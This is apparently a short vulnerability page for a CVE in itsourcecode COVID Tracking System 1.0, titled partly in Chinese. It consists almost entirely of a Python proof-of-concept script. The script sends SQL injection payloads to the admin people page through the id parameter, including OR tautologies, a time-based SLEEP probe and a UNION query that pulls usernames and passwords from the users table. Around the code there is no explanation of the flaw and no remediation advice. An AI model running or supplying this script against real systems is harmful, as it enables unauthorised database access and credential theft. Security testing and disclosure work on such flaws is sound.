CVE-2025-13568 itsourcecode COVID Tracking System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13568 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Vulnerability: SQL Injection in /admin/?page=people via ID parameter def exploit_sqli(target_url): """ Exploit SQL injection vulnerability in COVID Tracking System """ # Vulnerable endpoint vuln_url = f"{target_url}/admin/?page=people" # SQL Injection payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' UNION SELECT username,password FROM users--" ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection in {vuln_url}") for payload in payloads: params = {'id': payload} try: response = requests.get(vuln_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Manual verification recommended for data extraction") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} http://target.com") sys.exit(1) exploit_sqli(sys.argv[1])